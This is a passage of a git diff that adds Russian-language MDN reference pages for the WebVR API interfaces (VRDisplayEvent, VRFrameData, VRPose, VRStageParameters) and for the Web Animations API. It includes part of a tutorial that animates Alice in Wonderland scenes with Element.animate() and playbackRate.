{{SpecName('WebVR 1.1', '#dom-vrdisplayeventinit-display', 'display')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Совместимость браузера

+ +

{{Compat("api.VRDisplayEvent.display")}}

+ +

Дополнительно

+ + diff --git a/files/ru/web/api/vrdisplayevent/index.html b/files/ru/web/api/vrdisplayevent/index.html new file mode 100644 index 0000000000..8b8c2bee90 --- /dev/null +++ b/files/ru/web/api/vrdisplayevent/index.html @@ -0,0 +1,63 @@ +--- +title: VRDisplayEvent +slug: Web/API/VRDisplayEvent +tags: + - Виртуальная реальность +translation_of: Web/API/VRDisplayEvent +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

Интерфейс VRDisplayEvent API WebVR представляет объект  событий, связанных с WebVR (Подробнее - см. Список расширений окна WebVR)

+ +

Constructor

+ +
+
{{domxref("VRDisplayEvent.VRDisplayEvent()")}}
+
Создает экземпляр объекта VRDisplayEvent.
+
+ +

Properties

+ +

VRDisplayEvent также наследует свойства от своего родительского объекта, {{domxref("Event")}}.

+ +
+
{{domxref("VRDisplayEvent.display")}} {{readonlyInline}}
+
 {{domxref("VRDisplay")}} связанный с этим событием.
+
{{domxref("VRDisplayEvent.reason")}} {{readonlyInline}}
+
Определяемая человеческим фактором причина, по которой произошло событие.
+
+ +

Examples

+ +
window.addEventListener('vrdisplaypresentchange', function(e) {
+  console.log('Display ' + e.display.displayId + ' presentation has changed. Reason given: ' + e.reason + '.');
+})
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#interface-vrdisplayevent', 'VRDisplayEvent')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.VRDisplayEvent")}}

+ +

See also

+ + diff --git a/files/ru/web/api/vrframedata/index.html b/files/ru/web/api/vrframedata/index.html new file mode 100644 index 0000000000..5fe9d79079 --- /dev/null +++ b/files/ru/web/api/vrframedata/index.html @@ -0,0 +1,66 @@ +--- +title: VRFrameData +slug: Web/API/VRFrameData +tags: + - Виртуальная реальность +translation_of: Web/API/VRFrameData +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

Интерфейс VRFrameData API WebVR представляет всю информацию, необходимую для визуализации одного кадра сцены Виртуальной реальности; сконструирован с помощью {{domxref ("VRDisplay.getFrameData ()")}}.

+ +

Конструктор

+ +
+
{{domxref("VRFrameData.VRFrameData()")}}
+
Создает экземпляр объекта VRFrameData.
+
+ +

Свойства

+ +
+
{{domxref("VRFrameData.leftProjectionMatrix")}} {{readonlyInline}}
+
Параметр {{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает проекцию, которая будет использоваться для рендеринга левого глаза.
+
{{domxref("VRFrameData.leftViewMatrix")}} {{readonlyInline}}
+
Параметр {{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает преобразование вида, которое будет использоваться для визуализации для левого глаза.
+
{{domxref("VRFrameData.pose")}} {{readonlyInline}}
+
Параметр {{Domxref ("VRPose")}} {{domxref ("VRDisplay")}} в текущем {{domxref ("VRFrameData.timestamp")}}.
+
{{domxref("VRFrameData.rightProjectionMatrix")}} {{readonlyInline}}
+
Параметр {{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает проекцию, которая будет использоваться для рендеринга для правого глаза.
+
{{domxref("VRFrameData.rightViewMatrix")}} {{readonlyInline}}
+
{{Domxref ("Float32Array")}}, представляющий матрицу 4x4, которая описывает преобразование вида, которое будет использоваться для визуализации для правого глаза.
+
{{domxref("VRFrameData.timestamp")}} {{readonlyInline}}
+
Постоянно увеличивающееся значение отметки времени, представляющее время, когда произошло обновление кадра.
+
+ +

Примеры

+ +

{{page("/Web/API/VRDisplay/getFrameData", "Examples")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#interface-vrdisplayevent', 'VRDisplayEvent')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Совместимость браузера

+ +

{{Compat("api.VRFrameData")}}

+ +

Дополнительно

+ + diff --git a/files/ru/web/api/vrpose/index.html b/files/ru/web/api/vrpose/index.html new file mode 100644 index 0000000000..8e09aaf928 --- /dev/null +++ b/files/ru/web/api/vrpose/index.html @@ -0,0 +1,77 @@ +--- +title: VRPose +slug: Web/API/VRPose +tags: + - API + - Experimental + - Landing + - NeedsTranslation + - Reference + - TopicStub + - VR + - VRPose + - Virtual Reality + - WebVR +translation_of: Web/API/VRPose +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

The VRPose interface of the WebVR API represents the state of a VR sensor at a given timestamp (which includes orientation, position, velocity, and acceleration information.)

+ +

This interface is accessible through the {{domxref("VRDisplay.getPose()")}} and {{domxref("VRDisplay.getFrameData()")}} methods. {{domxref("VRDisplay.getPose()")}} is deprecated.

+ +

Properties

+ +
+
{{domxref("VRPose.position")}} {{readonlyInline}}
+
Returns the position of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}} as a 3D vector
+
{{domxref("VRPose.linearVelocity")}} {{readonlyInline}}
+
Returns the linear velocity of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second.
+
{{domxref("VRPose.linearAcceleration")}} {{readonlyInline}}
+
Returns the linear acceleration of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second per second.
+
{{domxref("VRPose.orientation")}} {{readonlyInline}}
+
Returns the orientation of the sensor at the current {{domxref("VRPose.timestamp")}}, as a quarternion value.
+
{{domxref("VRPose.angularVelocity")}} {{readonlyInline}}
+
Returns the angular velocity of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in radians per second.
+
{{domxref("VRPose.angularAcceleration")}} {{readonlyInline}}
+
Returns the angular acceleration of the {{domxref("VRDisplay")}} at the current {{domxref("VRPose.timestamp")}}, in meters per second per second.
+
+ +

Obsolete properties

+ +
+
{{domxref("VRPose.timeStamp")}} {{readonlyInline}} {{obsolete_inline}}
+
Returns the current time stamp of the system — a monotonically increasing value useful for determining if position data has been updated, and what order updates have occured in. This version of timestamp has been removed from the spec — instead, timestamps are now returned when {{domxref("VRDisplay.getFrameData()")}} is called — see {{domxref("VRFrameData.timestamp")}}.
+
+ +

Examples

+ +

{{page("/Web/API/VRDisplay/getFrameData", "Examples")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#interface-vrpose', 'VRPose')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.VRPose")}}

+ +

See also

+ + diff --git a/files/ru/web/api/vrpose/position/index.html b/files/ru/web/api/vrpose/position/index.html new file mode 100644 index 0000000000..2db5c476d2 --- /dev/null +++ b/files/ru/web/api/vrpose/position/index.html @@ -0,0 +1,68 @@ +--- +title: VRPose.position +slug: Web/API/VRPose/position +tags: + - Виртуальная реальность +translation_of: Web/API/VRPose/position +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

Постоянное свойство position (только для чтения) интерфейса {{domxref ("VRPose")}} возвращает позицию {{domxref ("VRDisplay")}} в текущем {{domxref ("VRPose.timestamp")}} как 3D вектор.

+ +

Система координат выглядит следующим образом:

+ + + +

Местоположения измеряются в метрах от исходной точки - эта точка является либо положением, в котором датчик был впервые считан, либо положением датчика в точке, которую {{domxref ("VRDisplay.resetPose ()")}} в последний раз вызывали.

+ +
+

Примечание: По умолчанию все позиции даны как имеющие горизонтальное расположение. Преобразование этой точки с помощью параметра {{domxref ("VRStageParameters.sittingToStandingTransform")}} - например, когда вы работаете с дисплеем комнаты - преобразует это в вертикальное расположение.

+
+ +

Синтаксис

+ +
var myPosition = VRPose.position;
+ +

Значение

+ +

Значение (типа Float)  {{domxref("Float32Array")}}, или ноль, если датчик VR не может предоставить данные о местоположении.

+ +
+

Примечание: Пользовательские агенты могут предоставлять эмулированные значения положения с помощью таких методов, как моделирование шеи; при этом они все равно должны сообщать параметр {{domxref ("VRDisplayCapabilities.hasPosition")}} как ложные.

+
+ +

Пример

+ +

{{page("/Web/API/VRDisplay/getFrameData", "Examples")}}

+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#dom-vrpose-position', 'position')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Совместимость браузера

+ +

{{Compat("api.VRPose.position")}}

+ +

Дополнительно

+ + diff --git a/files/ru/web/api/vrstageparameters/index.html b/files/ru/web/api/vrstageparameters/index.html new file mode 100644 index 0000000000..1b44ab613c --- /dev/null +++ b/files/ru/web/api/vrstageparameters/index.html @@ -0,0 +1,80 @@ +--- +title: VRStageParameters +slug: Web/API/VRStageParameters +tags: + - API + - Experimental + - Interface + - NeedsTranslation + - Reference + - TopicStub + - VR + - VRStageParameters + - Virtual Reality + - WebVR +translation_of: Web/API/VRStageParameters +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

The VRStageParameters interface of the WebVR API represents the values describing the the stage area for devices that support room-scale experiences.

+ +

This interface is accessible through the {{domxref("VRDisplay.stageParameters")}} property.

+ +

Properties

+ +
+
{{domxref("VRStageParameters.sittingToStandingTransform")}} {{readonlyInline}}
+
Contains a matrix that transforms the sitting-space view matrices of {{domxref("VRFrameData")}} to standing-space.
+
{{domxref("VRStageParameters.sizeX")}} {{readonlyInline}}
+
Returns the width of the play-area bounds in meters.
+
{{domxref("VRStageParameters.sizeY")}} {{readonlyInline}}
+
Returns the depth of the play-area bounds in meters.
+
+ +

Examples

+ +
var info = document.querySelector('p');
+var vrDisplay;
+
+navigator.getVRDisplays().then(function(displays) {
+  vrDisplay = displays[0];
+  var stageParams = vrDisplay.stageParameters;
+  // stageParams is a VRStageParameters object
+
+  if(stageParams === null) {
+    info.textContent = 'Your VR Hardware does not support room-scale experiences.'
+  } else {
+    info.innerHTML = '<strong>Display stage parameters</strong>'
+                 + '<br>Sitting to standing transform: ' + stageParams.sittingToStandingTransform
+                 + '<br>Play area width (m): ' + stageParams.sizeX
+                 + '<br>Play area depth (m): ' + stageParams.sizeY
+  }
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#interface-vrstageparameters', 'VRStageParameters')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.VRStageParameters")}}

+ +

See also

+ + diff --git a/files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html b/files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html new file mode 100644 index 0000000000..0443350c6f --- /dev/null +++ b/files/ru/web/api/vrstageparameters/sittingtostandingtransform/index.html @@ -0,0 +1,52 @@ +--- +title: VRStageParameters.sittingToStandingTransform +slug: Web/API/VRStageParameters/sittingToStandingTransform +tags: + - Виртуальная реальность +translation_of: Web/API/VRStageParameters/sittingToStandingTransform +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

Постоянное свойство sittingToStandingTransform (read-only, только для чтения ) интерфейса {{domxref("VRStageParameters")}} содержит матрицу, которая преобразует матрицы горизонтального вида {{domxref("VRFrameData")}} в вертикальный.

+ +

В основном, это может быть передано в ваш кроссплатформенный WebGL-код для преобразования визуализированного вида из горизонтального в вертикальный.

+ +

Синтакс

+ +
var myTransform = vrStageParametersInstance.sittingToStandingTransform;
+ +

Value

+ +

16-значный элемент {{domxref ("Float32Array")}}, содержащий компоненты матрицы преобразования вида 4 × 4.

+ +

Пример

+ +

{{page("/Web/API/VRStageParameters", "Examples")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#dom-vrstageparameters-sittingtostandingtransform', 'sittingToStandingTransform')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Режим совместимости браузера

+ +

{{Compat("api.VRStageParameters.sittingToStandingTransform")}}

+ +

Дополнительно

+ + diff --git a/files/ru/web/api/vrstageparameters/sizex/index.html b/files/ru/web/api/vrstageparameters/sizex/index.html new file mode 100644 index 0000000000..adf67b2acf --- /dev/null +++ b/files/ru/web/api/vrstageparameters/sizex/index.html @@ -0,0 +1,52 @@ +--- +title: VRStageParameters.sizeX +slug: Web/API/VRStageParameters/sizeX +tags: + - Виртуальная реальность +translation_of: Web/API/VRStageParameters/sizeX +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

Неизменяемое свойство sizeX (только для чтения) интерфейса "VRStageParameters" возвращает ширину границ игровой зоны в метрах.

+ +

В целях безопасности границы определяются как прямоугольник, ориентированный по оси основания. Контент не должен требовать от пользователя выхода за эти пределы; однако пользователь может игнорировать границы, что приводит к значениям положения вне этого прямоугольника. Центр прямоугольника находится в точке  с координатами (0,0,0). 

+ +

Syntax

+ +
var mySizeX = vrStageParametersInstance.sizeX;
+ +

Value

+ +

Параметр типа float, представляющий ширину в метрах..

+ +

Examples

+ +

{{page("/Web/API/VRStageParameters", "Examples")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#dom-vrstageparameters-sizex', 'sizeX')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.VRStageParameters.sizeX")}}

+ +

See also

+ + diff --git a/files/ru/web/api/vrstageparameters/sizey/index.html b/files/ru/web/api/vrstageparameters/sizey/index.html new file mode 100644 index 0000000000..43e908e20e --- /dev/null +++ b/files/ru/web/api/vrstageparameters/sizey/index.html @@ -0,0 +1,52 @@ +--- +title: VRStageParameters.sizeY +slug: Web/API/VRStageParameters/sizeY +tags: + - Виртуальная реальность +translation_of: Web/API/VRStageParameters/sizeY +--- +
{{APIRef("WebVR API")}}{{SeeCompatTable}}
+ +

Свойство (параметр) sizeY только для чтения интерфейса {{domxref ("VRStageParameters")}} возвращает глубину границ игровой площадки в метрах.

+ +

В целях безопасности границы определяются как прямоугольник, ориентированный по оси на полу.. Контент (содержимое) не должен требовать от пользователя выхода за эти пределы; однако пользователь может игнорировать границы, что приводит к значениям положения вне этого прямоугольника. Центр прямоугольника находится в точке (0,0,0) в координатах замкнутого пространства.

+ +

Syntax

+ +
var mySizeY = vrStageParametersInstance.sizeY;
+ +

Value

+ +

Параметр типа float, представляющий глубину в метрах.

+ +

Examples

+ +

{{page("/Web/API/VRStageParameters", "Examples")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebVR 1.1', '#dom-vrstageparameters-sizey', 'sizeY')}}{{Spec2('WebVR 1.1')}}Initial definition
+ +

Browser compatibility

+ +

{{Compat("api.VRStageParameters.sizeY")}}

+ +

See also

+ + diff --git a/files/ru/web/api/web_animations_api/index.html b/files/ru/web/api/web_animations_api/index.html new file mode 100644 index 0000000000..bb8ac2a631 --- /dev/null +++ b/files/ru/web/api/web_animations_api/index.html @@ -0,0 +1,100 @@ +--- +title: Web Animations API +slug: Web/API/Web_Animations_API +translation_of: Web/API/Web_Animations_API +--- +

{{DefaultAPISidebar("Веб-анимация")}} {{SeeCompatTable()}}

+ +
+

API веб-анимации позволяет синхронизировать и сроки изменения представления веб-страницы, то есть анимации элементов DOM. Она делает это путем объединения двух моделей: Модель синхронизации и анимации модели.

+
+ +

Основные понятия и использование API

+ +

Web Animations API (API веб-анимации) обеспечивает общий язык для браузеров и разработчиков для описания анимации элементов DOM. Для более подробной информации о концепциях, заложенных в API, и о его использовании, прочтите статью Использование Web Animations API .

+ +

Интерфейсы веб-анимации

+ +
+
+ +
+
{{Domxref("Animation")}}
+
Обеспечивает элементы управления воспроизведением и временную шкалу для узла анимации или источника. Можно взять объект, созданный с помощью {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} конструктор.
+
{{Domxref("KeyframeEffect")}}
+
Описывает наборы анимируемых свойств и значений, называемых  ключевыми кадрами и их параметры синхронизации .  Они могут затем быть воспроизведены с помощью {{domxref("Animation.Animation", " Animation()")}} конструктор.
+
{{Domxref("AnimationTimeline")}}
+
Представляет график анимации. Этот интерфейс существует, чтобы определить особенности временной шкалы (наследуемые интерфейсом {{domxref("DocumentTimeline")}} и другими интерфейсами в будущем) и не предназначен для непосредственного использования разработчиками.
+
{{Domxref("DocumentTimeline")}}
+
Представляет временные рамки анимации, в том числе временные рамки анимации по умолчанию для документа (через свойство {{domxref("Document.timeline")}}).
+
{{Domxref("AnimationEffectTiming")}}
+
Объект, содержащий временные свойства, возвращенные {{domxref("KeyframeEffect.timing", "сроки")}} атрибут {{domxref("KeyframeEffect")}}. Он наследует свои свойства от {{domxref("AnimationEffectTimingReadOnly")}}, но в не только чтение формы.
+
{{Domxref("SharedKeyframeList")}}
+
Представляет собой последовательность ключевых кадров , которые могут быть разделены между {{domxref("KeyframeEffect")}} объектов. Используя SharedKeyframeListобъекты, несколько KeyframeEffectобъектов могут повторно использовать одни и те же ключевые кадры , не заплатив стоимость разбора их несколько раз.
+
{{domxref("AnimationEffectTimingProperties")}}
+
{{Domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly()")}} и {{domxref("KeyframeEffect.KeyframeEffect()")}} все принимают необязательный словарь объект синхронизации свойств.
+
+ +

Расширения для других интерфейсов

+ +

API веб - анимации добавляет некоторые новые функции в {{domxref("документ")}} и  {{domxref("элемент")}}.

+ +

Расширения Documentинтерфейса

+ +
+
{{Domxref("document.timeline")}}
+
DocumentTimelineОбъект , представляющий документ по умолчанию временную шкалу.
+
{{Domxref("document.getAnimations()")}}
+
Возвращает массив {{domxref("Анимация")}} объектов в настоящее время действуют на элементах в document.
+
+

Расширения Elementинтерфейса

+
+
{{Domxref("Element.animate()")}}
+
Способ быстрого доступа для создания и воспроизведения анимации на элементе. Она возвращает созданный {{domxref("Анимация")}} экземпляра объекта.
+
+ +
+
+ +

Веб-анимация для чтения только интерфейсы

+ +

Следующие интерфейсы включены в спецификации для таких целей, как определение функции, используемые в нескольких других местах, или служить в качестве основы для нескольких интерфейсов, которые могут быть использованы в качестве значений одних и тех же свойств. Вы бы не напрямую использовать их в работе веб-разработки, но они могут быть интересны для авторов библиотеки, чтобы понять, как эта технология работает, так что их реализации могут быть более эффективными, или для инженеров браузеров, которые ищут более легкой ссылки, чем спецификация обеспечивает.

+ +
+
{{Domxref("AnimationEffectTimingReadOnly")}}
+
Словарь объект временных свойств, которые наследуются изменяемом {{domxref("AnimationEffectTiming")}} интерфейс, связанный с {{domxref("KeyframeEffect")}}.
+
{{Domxref("AnimationEffectReadOnly")}}
+
Определяет текущие и будущие "Анимационные эффекты" , как {{domxref("KeyframeEffect")}}, который может быть передан {{domxref("Анимация")}} объектов для воспроизведения, и {{domxref("KeyframeEffectReadOnly")}} который используется {{domxref("KeyframeEffect")}} (наследуется CSS Animations и Transitions ). Все значения {{domxref("Animation.effect")}} имеют типов на основе AnimationEffectReadOnly.
+
{{Domxref("KeyframeEffectReadOnly")}}
+
Описывает наборы Animatable свойств и значений, которые могут быть воспроизведены с помощью {{domxref("Animation.Animation", "анимация()")}} конструктор, и которые унаследованы {{domxref("KeyframeEffect")}}. 
+
+ +

Характеристики

+ + + + + + + + + + + + + + +
СпецификациястатусКомментарий
{{SpecName ( 'Web Анимации')}}{{Spec2 ( 'Web Анимации')}}Первоначальное определение
+ + +

Смотрите также

+ + diff --git a/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html new file mode 100644 index 0000000000..78975958c6 --- /dev/null +++ b/files/ru/web/api/web_animations_api/using_the_web_animations_api/index.html @@ -0,0 +1,353 @@ +--- +title: Using the Web Animations API +slug: Web/API/Web_Animations_API/Using_the_Web_Animations_API +tags: + - Анимация +translation_of: Web/API/Web_Animations_API/Using_the_Web_Animations_API +--- +

{{DefaultAPISidebar("Web Animations")}}

+ +

Web Animations API позволяет нам создать анимацию и управлять её воспроизведением с помощью JavaScript. Эта статья будет правильным руководством для старта c веселыми демками и уроками с Алисой в Стране Чудес.

+ +

Встречайте Web Animations API

+ +

В Web Animations API открывает анимацию на движке браузеров для разработчиков и манипуляции через (с помощью) JavaScript.
+ Этот API был разработан в основе реализации CSS Animations и CSS Transitions, и оставлял свободу движений для будущих анимационных эффектов. Это один из самых эффективных способов анимации, поддерживаемой в Интернете, позволяя браузеру сделать свою собственную внутреннюю оптимизацию без хаков, принуждения, или {{domxref("Window.requestAnimationFrame()")}}.

+ +

С Web Animations API, мы можем управлять интерактивной анимацией со стилями  JavaScript, отделяя представление от действия. Нам больше не нужно полагаться  на DOM-heavy методики написания CSS свойств и обзорных классов для элементов контроля воспроизведения направления. И в отличии от чисто декларативного CSS, JavaScript также позволяет устанавливать динамические значения свойств и их продолжительность. Для создания пользовательских библиотек и интерактивной анимации Web Animations API может стать прекрасным инструментом в работе. Давайте посмотрим, что он может сделать!

+ +

Поддержка Браузеров

+ +

Основы и компоненты Web Animations API, описанные в этой статье доступны в Firefox 48+ и Chrome 36+. Webkit и Edge перешли на  API соответственно, но пока нет полной поддержки во всех браузерах, есть удобная служба проверки handy maintained polyfill которая тестирует и добавляет ее при необходимости.

+ +

Написание CSS Animations вместе с Web Animations API

+ +

Самый простой способ в обучении Web Animations API это начать с чего начинало большинство веб-разработчиков: CSS Animations. В CSS Animations есть знакомый синтаксис, который хорошо раскрывает структуры демонстрационных примеров.

+ +

CSS версия

+ +

Вот такая анимация написана в CSS, показывающая, как Алиса падает в кроличью нору, которая ведет в страну чудес (см. полный код на Codepen):

+ +

Alice Tumbling down the rabbit's hole.

+ +

Заметьте, что фон двигается, Алиса крутится и ее цвет меняется при вращении. Мы собираемся сосредоточиться только на Алисе в этом уроке. Вот упрощенный код CSS, который управляет движением Алисы.

+ +
#alice {
+  animation: aliceTumbling infinite 3s linear;
+}
+
+@keyframes aliceTumbling {
+  0% {
+    color: #000;
+    transform: rotate(0) translate3D(-50%, -50%, 0);
+  }
+  30% {
+    color: #431236;
+  }
+  100% {
+    color: #000;
+    transform: rotate(360deg) translate3D(-50%, -50%, 0);
+  }
+}
+ +

Изменение цвета Алисы и ее вращение в течение 3 секунд при постоянной (линейной) скорости и бесконечном цикле. В @keyframes блоке мы видим, что 30%  из всего цикла (около 9 секунд), цвет Алисы меняется от черного до насыщенного бордового, а потом снова в черный к концу цикла.

+ +

Движение в JavaScript

+ +

Теперь давайте попробуем создать такую же анимацию с Web Animations API.

+ +

Представляя кадры

+ +

В первую очередь мы должны сосздать Keyframe Object соответствующего нашему CSS @keyframes блоку:

+ +
var aliceTumbling = [
+  { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+  { color: '#431236', offset: 0.333},
+  { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+];
+ +

Здесь мы используем массив, содержащий несколько объектов. Каждый объект представляет собой код от оригинального CSS. Однако, в отличие от CSS, Web Animations API не нужно назначать точные проценты по анимации для каждого открывающего кода. Он автоматически разделит анимацию на равные части в соответствии с количеством кодов, которые вы ему даете. Это означает, что объект Keyframe с тремя кодами будет воспроизводить средний код 50% времени через каждый цикл анимации если не указано иное.

+ +

Если мы хотим, чтобы определенный набор кода смещался относительного другого кода, мы можем указать смещение непосредственно на объекте который будет меняться, отделив значение запятой. В приведенном выше примере видно, чтобы цвет Алисы менялся на 30%, а не на 50% всего цикла, мы задаем смещение: 0,333.

+ +

Там должно быть как минимум два кадра (представляющих начало и конец анимации). Если в вашем списке keyframe только одна запись, {{domxref("Element.animate()")}} то анимация выполняться не будет, вы получите ошибку NotSupportedError exception.

+ +

И так повторим, код равномерно распределен по умолчанию, если не указано смещение. Удобно, не так ли?

+ +

Представление свойства времени.

+ +

Мы также должны создать объекту временные свойства (an {{domxref("AnimationEffectTimingProperties")}} object) соответствующие значению анимации Алисы:

+ +
var aliceTiming = {
+  duration: 3000,
+  iterations: Infinity
+}
+ +

Вы увидите здесь несколько отличий того, как соответствующие значения представлены в CSS:

+ + + +
+

Существует ряд небольших различий между терминологией, используемой в анимации CSS и терминологии, которая используется в веб-анимации. Например, веб-анимации не используется строка "бесконечное", а вместо этого использует JavaScript код бесконечность. И вместо временной-функции мы используем ослабление. Мы не будем перечислять здесь значение ослабления, потому что, в отличие от CSS анимации, где по умолчанию animation-timing-function это просто, в веб-анимации API для ослаблеия по умолчанию используется линейная зависимость - котрые мы используем здесь

+
+ +

Собираем части вместе.

+ +

Сейчас соберем все части вместе используя {{domxref("Element.animate()")}} метод:

+ +
document.getElementById("alice").animate(
+  aliceTumbling,
+  aliceTiming
+)
+ +

И вуаля, анимация работает(смотрите готовый вариант на version on Codepen).

+ +

The animate() метод может быть применен на любой DOM-элемент, который может быть анимирован с помощью CSS. И он может быть записан несколькими способами. Вместо того, чтобы делить объекты на ключевые кадры и временные характеристики, мы могли бы просто передать свои значения непосредственно вот так:

+ +
document.getElementById("alice").animate(
+  [
+    { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+    { color: '#431236', offset: 0.333},
+    { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+  ], {
+    duration: 3000,
+    iterations: Infinity
+  }
+);
+ +

Более того, если мы хотели указать только длительность анимации, а не ее повторение (по умолчанию анимации повторяется один раз), мы могли бы пройтись только по миллисекундам:

+ +
document.getElementById("alice").animate(
+  [
+    { transform: 'rotate(0) translate3D(-50%, -50%, 0)', color: '#000' },
+    { color: '#431236', offset: 0.333},
+    { transform: 'rotate(360deg) translate3D(-50%, -50%, 0)', color: '#000' }
+  ], 3000);
+ +

Управление воспроизведением с помощью play(), pause(), reverse() and playbackRate

+ +

Хотя мы можем писать CSS анимацию с Web Animations API, где API действительно хорошо подходит в качестве воздействия для воспроизведения анимации. Web Animations API обеспечивает несколько удобных методов для контроля воспроизведения анимации. Давайте посмотрим на паузу и воспроизведение анимации в росте/уменьшении Алисы в игре (провериить полный код можно на сайте full code on Codepen):

+ +

Playing the growing and shrinking game with Alice.

+ +

В этой игре Алиса меняется в росте, она то растет, то уменьшается, а контролируем мы этот процесс с помощью  бутылки и кекса. Каждый из них имеют свою анимацию.

+ +

Пауза и проигрывание анимации.

+ +

Мы поговорим об анимации Алисы позже, а сейчас посмотрим поближе на анимации кекса:

+ +
var nommingCake = document.getElementById('eat-me_sprite').animate(
+[
+  { transform: 'translateY(0)' },
+  { transform: 'translateY(-80%)' }
+], {
+  fill: 'forwards',
+  easing: 'steps(4, end)',
+  duration: aliceChange.effect.timing.duration / 2
+});
+ +

Метод {{domxref("Element.animate()")}} будет выполняться сразу же как начнется игра. Чтобы предотвратить автоматическое поедание кекса до того, как пользователь на него нажмет, мы вызываем {{domxref("Animation.pause()")}} сразу же как игра открывается, например так:

+ +
nommingCake.pause();
+ +

Теперь мы можем запустить метод {{domxref("Animation.play()")}} когда будем готовы:

+ +
nommingCake.play();
+ +

Нам необходимо связать его с анимацией Алисы, чтобы она росла всякий раз, когда съедала кекс. Мы можем сделать это с помощью функции:

+ +
var growAlice = function() {
+
+  // Play Alice's animation.
+  aliceChange.play();
+
+  // Play the cake's animation.
+  nommingCake.play();
+
+}
+ +

Когда пользователь поместит указатель мыши вниз или нажимает пальцем на торт на сенсорном экране, мы можем вызвать growAlice, чтобы выполнить все анимации:

+ +
cake.addEventListener("mousedown", growAlice, false);
+cake.addEventListener("touchstart", growAlice, false);
+ +

Другие полезные методы.

+ +

Помимо паузы и воспроизведения, мы можем использовать следующие методы анимации:

+ + + +

Давайте посмотрим на первый playbackRate— отрицательное значение будет запускать анимацию в обратном направлении. Когда Алиса пьет из бутылки, она становится меньше. Это происходит потому, что бутылка изменяет ее анимацию playbackRate от 1 до -1:

+ +
var shrinkAlice = function() {
+  aliceChange.playbackRate = -1;
+  aliceChange.play();
+}
+
+bottle.addEventListener("mousedown", shrinkAlice, false);
+bottle.addEventListener("touchstart", shrinkAlice, false);
+ +

В Through the Looking-Glass, Алиса путешествует по миру, где должна бежать, чтобы оставаться на месте и бежать в двое быстрее, чтобы двигаться вперед. Например в гонке с Красной королевой, Алиса и Красная королева бегут, чтобы оставаться на месте (проверить полный код можно на full code on Codepen):

+ +

Alice and the Red Queen race to get to the next square in this game.

+ +

Так как маленькие дети легко устают, в отличии от шахматных фигур, Алиса постоянно замедляется. Мы отобразили это в коде путем ослабления (уменьшения скорости) playbackRate анимации.

+ +
setInterval( function() {
+
+  // Make sure the playback rate never falls below .4
+  if (redQueen_alice.playbackRate > .4) {
+    redQueen_alice.playbackRate *= .9;
+  }
+
+}, 3000);
+ +

Но постоянно нажимая на них мышью, мы заставляем их ускориться путем умножения playbackRate (скорости анимации)

+ +
var goFaster = function() {
+
+  redQueen_alice.playbackRate *= 1.1;
+
+}
+
+document.addEventListener("click", goFaster);
+document.addEventListener("touchstart", goFaster);
+ +

Фон также ускоряется при щелчках мыши или касаниях. Что же происходит, когда вы заставляете Алису и Красную королеву бежать в два раза быстрее? Что происходит, когда они тормозят?

+ +

Получение информации из анимации

+ +

Представьте, что мы могли бы использовать playbackRate, как улучшения доступности сайта для пользователей с вестибулярными расстройствами, позволяя им замедлить анимацию на всех страницах сайта. Это невозможно сделать с помощью CSS без пересчета длительности в каждом правиле CSS, но с веб-анимации API, мы могли бы использовать в будущем (пока не поддерживается в браузерах!) Метод {{domxref("document.getAnimations()")}} систему циклов по каждой анимации на странице и сократить скорость анимации вот так:

+ +
document.getAnimations().forEach(
+  function (animation) {
+    animation.playbackRate *= .5;
+  }
+);
+ +

С Web Animations API нужно изменить только одно свойство.

+ +

Другое дело, что это трудно делать только с CSS Animations, создавать зависимости от значения предусмотренные для других анимации. В примере игры про рост и уменьшение Алисы, вы можете заметить некоторые странности у кекса:

